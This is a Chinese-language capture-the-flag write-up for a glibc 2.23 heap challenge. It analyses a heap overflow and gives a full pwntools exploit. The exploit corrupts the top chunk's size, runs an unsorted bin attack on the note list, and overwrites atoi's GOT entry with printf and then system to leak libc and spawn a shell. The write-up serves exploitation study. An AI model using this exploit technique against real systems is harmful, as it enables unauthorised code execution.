检查
开了got 可写 没开pie 随机地址,估计是改地址,具体看后续分析
静态分析
menu函数
基本就是菜单没什么可说的
这就是读入你的索引,但是这里有个atoi而且nptr是我们可以输入的,这个地方真的可以留个心眼,按ctf常见套路是可以打的
add函数
这里就是读入size 关键点来了,我们这里存储的实质上是v2的值也就是我们输入的size进入记录中,但是我们创造的chunk块 明显是由strdup(byte_6020c0)接受的字符作为我们实际创造的chunk值,但是我们edit的时候 读入的又是我们开始输入size的值,这里也就造成了堆溢出
edit函数
漏洞和上面想的一样,就是堆溢出
_int_free()函数
当申请的size要大于目前top chunk size的时候 会导致
但这个函数的触发是有条件的,如果没有满足条件则会报错
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
通过码源分析 我们发现
伪造的top_chunk的size要满足以下条件:
- size要大于MINSIZE(MINSIZE一般为0x20)
- size的pre_inuse位要为1
- old_top(top chunk的addr) + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐
- size要小于下一步申请的chunk的大小,或者说下一步再次请求时要触发_int_free(),所以malloc()的大小要比这个size大一点点
main_arena + 88周围的深度分析
top chunk、last_remainder、fd、bk
这个地方 重点是在下面两个红框框 只要保证上面两个是地址可找到就行 不重要,这里把fd和bk写成想要的堆地址 然后 再次创建就可以改变堆的位置了
思路流程
这道题目有个很明显的点 没有delete函数 和 show函数
所以导致有两个问题要解决
- 如何泄露地址
- 如何打uaf 或者 unsorted bin (因为没有free函数所以导致我们chunk的大小在0x90以下)
对于第一个问题也就是泄露地址 这里由于没有输出函数 我们只能放弃堆块上泄露地址的想法,去想别的办法,我们开始分析静态的时候 发现一个atoi 和可控的 nptr 由于 got表可写,我们可以想到把atoi改为printf 通过格式化字符串进行泄露 由于nptr的输入是没有受到限制的 因此是可行的,那又引申出一个问题如何修改got表
问题转变
- 如何修改got
- 如何打uaf 或者 unsorted bin (因为没有free函数所以导致我们chunk的大小在0x90以下)
这里没有free函数 但是我们可以堆溢出 打house of force 去修改top chunk size 然后利用触发_int_free()函数 把top chunk挂入unsorted bin
这里先介绍一下_int_free()函数,然后我们可以通过这个机制来将top chunk 以0xb1的大小挂入unsorted_bin,在进行chunk切割 uaf和堆溢出 利用进行覆盖把unsorted bin的bk修改为heaplist 然后利用unsorted bin attack的逻辑 把 main_arena+88的位置 挂入heaplist[0] 变为可控指针,也就是我们可以通过edit[0]去控制 main_arena+88周围,为了进行后续攻击我们需要看一下main_arena+88周围的值代表着什么,然后就利用这个方式去把下一次申请的堆 指向我们heaplist的位置 改变heaplist上的值,指向got表 这样我们就可以通过edit去控制got表了,后续就是泄露地址 挂system
- 首先不断切割top chunk,然后劫持top chunk的size,再申请一个大的,让topchunk掉入unsortbin
- 切割unsortedbin中的top chunk,通过Edit溢出,劫持ub里的chunk的bk指针,指向heap_list-0x10
- Add一次,ubattack触发,修改heaplist的0号位置的ptr为main_arena+88(unsortbin的top chunk的位置)
- 劫持unsortbin的top chunk、last_remainder、fd、bk,fd、bk指向新的位置
- 劫持heap_list,改heaplist[0]=heap_list,然后Edit(0)劫持heap_list[0]=heap_list[1]=atoi_got
- 改atoi_got为printf地址,硬改出一个格式化字符串
- 通过fmt泄露libc_base
- 然后改atoi_got为system,此时atoi变printf,注意程序中在get_int的时候返回的是atoi(&nptr),这里实际返回printf(&nptr),而printf的返回值是打印出的字符数量。
exp
#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
def dbg():
gdb.attach(mx)
#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
libc = ELF('./libc-2.23.so')
filename = "./note_three"
mx = process(filename)
#io = remote("47.104.24.40",1337)
elf = ELF(filename)
#初始化完成---------------------------------------------------------
def new(num,size,content):
sla("choice>> ","1")
sla("idx: ",str(num))
sla("size: ",str(size))
sla("content: ",content)
def edit(num,content):
sla("choice>> ","2")
sla("idx: ",str(num))
sla("content: ",content)
dbg()
for i in range(100):
new(0,0x88,'0'*0x88)
new(1, 0x88, '1' * 0x80) # 开0x90
new(2, 0x88, b'a' * 0x30)
edit(2, b'a' * 0x30 + p64(0) + p64(0xb1)) # 劫持top chunk的size为0xb1
new(0,0x90,b'a'*0x90)
new(0,0x88,'a') # 切割unsortedbin中的topchunk
heap_list = 0x6021C0
edit(0,b'a'*0x10+p64(0)+p64(0x71)+p64(0)+p64(heap_list-0x10)) #unsorted bin attack
new(1,0x68,b'a'*0x60)
edit(0,p64(0x602098)+p64(0)+p64(0x6020c0+0x70)*2)
pause()
atoi_got = elf.got['atoi']
printf_plt = elf.plt['printf']
new(2,0x90,b'0'*0x78+p64(0x91)+p64(0x602260)*2)
payload = b'a'*0x80+p64(0x6021c0)+p64(0x100) # 劫持heap_list,改heaplist[0]=heap_list
edit(2,payload)
edit(0,p64(atoi_got)+p64(0x100)+p64(atoi_got)+p64(0x100))
edit(1,p64(printf_plt))
rl("choice>> ")
sl(b"%19$p")
libc_addr=int(mx.recv(14),16)-240-0x020740
print(hex(libc_addr))
libc.address=libc_addr
system=libc.symbols['system']
rl("choice>> ")
sl(b"1")
rl("idx: ")
mx.send(b" ")
rl("content: ")
sl(p64(system))
rl("choice>>")
sl(b"/bin/sh\x00")
inter()
注意事项
最后把print改写成功后 改写got那一段 要注意 流程已经改变了 因为print函数是返回的输入的字符的个数,这里要小心点,之前没注意调了好久md
还有一个位置
new(2,0x90,b'0'*0x78+p64(0x91)+p64(0x602260)*2)
这里的0x602260 通过调试是没有传上去的 我试着改为p64(0)就会报错 因为这个位置会有一个mov 传的地址,rax到上面去,所以必须得是个地址 至于是什么不重要 ,只要能访问就行